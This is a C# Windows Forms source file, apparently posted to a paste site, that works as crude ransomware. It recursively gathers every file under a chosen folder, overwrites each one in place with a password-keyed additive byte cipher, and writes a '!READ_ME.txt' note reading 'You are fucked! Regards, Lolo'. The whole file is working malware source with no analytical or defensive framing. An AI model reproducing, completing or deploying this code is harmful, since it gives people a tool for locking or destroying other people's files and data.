· 5 years ago · Mar 19, 2020, 07:00 PM
1using System;
2using System.Collections.Generic;
3using System.ComponentModel;
4using System.Data;
5using System.Drawing;
6using System.Linq;
7using System.Text;
8using System.Threading.Tasks;
9using System.Windows.Forms;
10using System.IO;
11
12namespace Service
13{
14 public partial class Form1 : Form
15 {
16 byte[] abc;
17 byte[,] table;
18 List<string> files = new List<string>();
19 string[] extensions = { "txt", "png", "jpg", "gif" };
20
21 bool bySize = false;
22
23 public Form1()
24 {
25 InitializeComponent();
26 }
27
28 private List<String> DirSearch(string sDir)
29 {
30 List<String> _files = new List<String>();
31 try
32 {
33 foreach (string f in Directory.GetFiles(sDir, "*.*"))
34 {
35 _files.Add(f);
36 }
37 foreach (string d in Directory.GetDirectories(sDir))
38 {
39 _files.AddRange(DirSearch(d));
40 }
41 }
42 catch (System.Exception excpt)
43 {
44 MessageBox.Show(excpt.Message);
45 }
46
47 return _files;
48 }
49
50
51 private void btnBrowse_Click(object sender, EventArgs e)
52 {
53 FolderBrowserDialog od = new FolderBrowserDialog();
54 if(od.ShowDialog() == DialogResult.OK)
55 {
56 tbPath.Text = od.SelectedPath;
57
58 files = DirSearch(od.SelectedPath);
59
60 /*
61
62 if (bySize)
63 {
64 foreach (string fileName in System.IO.Directory.GetFiles(od.SelectedPath, "*.*"))
65 {
66 if (new System.IO.FileInfo(fileName).Length < 10000000) //if size <10mb
67 {
68 files.Add(fileName);
69 }
70 }
71 }
72 else
73 {
74 foreach (string extension in extensions)
75 {
76 foreach (string fileName in System.IO.Directory.GetFiles(od.SelectedPath, "*." + extension + ""))
77 {
78 files.Add(fileName);
79 }
80 }
81 }
82
83 */
84 }
85 }
86
87 private void rbEncrypt_CheckedChanged(object sender, EventArgs e)
88 {
89 if (rbEncrypt.Checked)
90 {
91 rbDecrypt.Checked = false;
92 }
93 }
94
95 private void rbDecrypt_CheckedChanged(object sender, EventArgs e)
96 {
97 if (rbDecrypt.Checked)
98 {
99 rbEncrypt.Checked = false;
100 }
101 }
102
103
104 private void Form1_Load(object sender, EventArgs e)
105 {
106 abc = new byte[256];
107 for (int i = 0; i < 256; i++)
108 {
109 abc[i] = Convert.ToByte(i);
110 }
111 table = new byte[256, 256];
112 for (int i = 0; i < 256; i++)
113 {
114 for (int j = 0; j < 256; j++)
115 {
116 table[i, j] = abc[(i + j) % 256];
117 }
118 }
119 }
120
121
122 private void btnStart_Click(object sender, EventArgs e)
123 {
124 foreach (string name in files)
125 {
126 System.Diagnostics.Debug.WriteLine(name);
127
128 if (!File.Exists(name))
129 {
130 MessageBox.Show("File does not exist!");
131 return;
132 }
133
134 if (String.IsNullOrEmpty(tbPassword.Text))
135 {
136 MessageBox.Show("Password required!");
137 return;
138 }
139
140 try
141 {
142 byte[] fileContent = File.ReadAllBytes(name);
143 byte[] passwordTmp = Encoding.ASCII.GetBytes(tbPassword.Text);
144 byte[] keys = new byte[fileContent.Length];
145
146 for (int i = 0; i < fileContent.Length; i++)
147 {
148 keys[i] = passwordTmp[i % passwordTmp.Length];
149 }
150
151
152 byte[] result = new byte[fileContent.Length];
153
154 if (rbEncrypt.Checked)
155 {
156 for (int i = 0; i < fileContent.Length; i++)
157 {
158 byte value = fileContent[i];
159 byte key = keys[i];
160 int valueIndex = -1, keyIndex = -1;
161
162 for (int j = 0; j < 256; j++)
163 {
164 if (abc[j] == value)
165 {
166 valueIndex = j;
167 break;
168 }
169 }
170 for (int j = 0; j < 256; j++)
171 {
172 if (abc[j] == key)
173 {
174 keyIndex = j;
175 break;
176 }
177 }
178 result[i] = table[keyIndex, valueIndex];
179 }
180 }
181 else
182 {
183 for (int i = 0; i < fileContent.Length; i++)
184 {
185 byte value = fileContent[i];
186 byte key = keys[i];
187 int valueIndex = -1, keyIndex = -1;
188
189 for (int j = 0; j < 256; j++)
190 {
191 if (abc[j] == key)
192 {
193 keyIndex = j;
194 break;
195 }
196 }
197 for (int j = 0; j < 256; j++)
198 {
199 if (table[keyIndex, j] == value)
200 {
201 valueIndex = j;
202 break;
203 }
204 }
205 result[i] = abc[valueIndex];
206 }
207 }
208
209 File.WriteAllBytes(name, result);
210
211
212 }
213 catch
214 {
215 MessageBox.Show("File is in use!");
216 }
217
218 }
219
220
221 string newFileName = tbPath.Text + "\\!READ_ME.txt";
222
223 System.Diagnostics.Debug.WriteLine(newFileName);
224
225 try
226 {
227 // Check if file already exists. If yes, delete it.
228 if (File.Exists(newFileName))
229 {
230 File.Delete(newFileName);
231 }
232
233 if (rbEncrypt.Checked)
234 {
235 // Create a new file
236 using (FileStream fs = File.Create(newFileName))
237 {
238 // Add some text to file
239 byte[] msg = new UTF8Encoding(true).GetBytes("You are fucked! Regards, Lolo");
240 fs.Write(msg, 0, msg.Length);
241 }
242 }
243
244 }
245 catch (Exception Ex)
246 {
247 System.Diagnostics.Debug.WriteLine(Ex.ToString());
248 }
249
250
251
252 }
253 }
254}